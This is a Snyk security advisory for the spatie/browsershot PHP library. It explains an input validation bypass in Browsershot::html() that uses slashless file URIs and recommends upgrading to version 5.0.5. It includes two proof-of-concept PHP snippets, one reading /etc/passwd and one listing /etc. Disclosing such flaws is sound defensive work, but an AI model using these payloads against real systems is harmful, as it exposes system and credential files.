Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Improper Input Validation vulnerabilities in an interactive lesson.
Start learningUpgrade spatie/browsershot
to version 5.0.5 or higher.
spatie/browsershot is a library for converting a webpage to an image or pdf using headless Chrome.
Affected versions of this package are vulnerable to Improper Input Validation in the setHtml
function, invoked by Browsershot::html()
, which can be bypassed by omitting the slashes in the file URI (e.g., file:../../../../etc/passwd). This is due to missing validations of the user input that should be blocking file URI schemes (e.g., file:// and file:/) in the HTML content.
Arbitrary file read:
require 'vendor/autoload.php';
use Spatie\Browsershot\Browsershot;
$code = '<object data="file:../../../etc/passwd" width="500" height="400">'; Browsershot::html($code) ->save('html.pdf');
System directory listing:
require 'vendor/autoload.php';
use Spatie\Browsershot\Browsershot;
$code = <<<HTML <iframe src="file:../../../../etc" width="500" height="400"></iframe> HTML; Browsershot::html($code) ->save('html.pdf');